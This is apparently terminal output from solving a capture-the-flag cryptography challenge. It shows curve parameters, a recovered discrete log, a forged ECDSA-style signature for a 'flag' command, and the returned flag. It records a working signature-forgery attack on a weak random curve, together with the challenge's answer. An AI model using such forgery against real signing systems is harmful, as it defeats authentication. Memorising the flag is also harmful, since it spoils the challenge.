[ptrlib] curve: y^2 = x^3 + 130939496966954247505692064871042135207x + 135139266651492282791665127691622267381 mod 210608707847801565748958054867898833971
[ptrlib] G = (143417176998134602100619591422626758333, 130227579156607644879610759408262650788)
[ptrlib] H = (199079881625313231076143726873011934220, 137375402122334256318232545713548992134)
[ptrlib] r, s = 92207699106857002675556523714181963886, 79157924427059153781815650610767382592467279417582779601053359909339438719209
[ptrlib] new_msg = {"command": "flag", "params": {"name": "fbctf"}}
ODYwNTA1Mzg2ODY1NjI2NjQ5Njc3MzY2OTM2MjcxMDA4MjMzMDkyODkyNDM1NzI0NzI2Mzk5MTA0NDI5NjI3NzIzMjQxMDgzMDQ1NXwxOTg0OTYzMzk0NDExMTI3OTAwMzEyNDc1Njc1MzE5MDQzNjk4Nzk=
[ptrlib] sig = ODYwNTA1Mzg2ODY1NjI2NjQ5Njc3MzY2OTM2MjcxMDA4MjMzMDkyODkyNDM1NzI0NzI2Mzk5MTA0NDI5NjI3NzIzMjQxMDgzMDQ1NXwxOTg0OTYzMzk0NDExMTI3OTAwMzEyNDc1Njc1MzE5MDQzNjk4Nzk=
b'fb{random_curves_are_not_safe?}\n\n'
[ptrlib]$

Terminal 2:

$ sage solve.sage < input.txt 
n = A = B = s = r = Gx = Gy = Hx = Hy = 424593574
(36535005912363951569395229252023975236 : 89356155907162977128118658100989956716 : 1)
(36535005912363951569395229252023975236 : 89356155907162977128118658100989956716 : 1)
ODYwNTA1Mzg2ODY1NjI2NjQ5Njc3MzY2OTM2MjcxMDA4MjMzMDkyODkyNDM1NzI0NzI2Mzk5MTA0NDI5NjI3NzIzMjQxMDgzMDQ1NXwxOTg0OTYzMzk0NDExMTI3OTAwMzEyNDc1Njc1MzE5MDQzNjk4Nzk=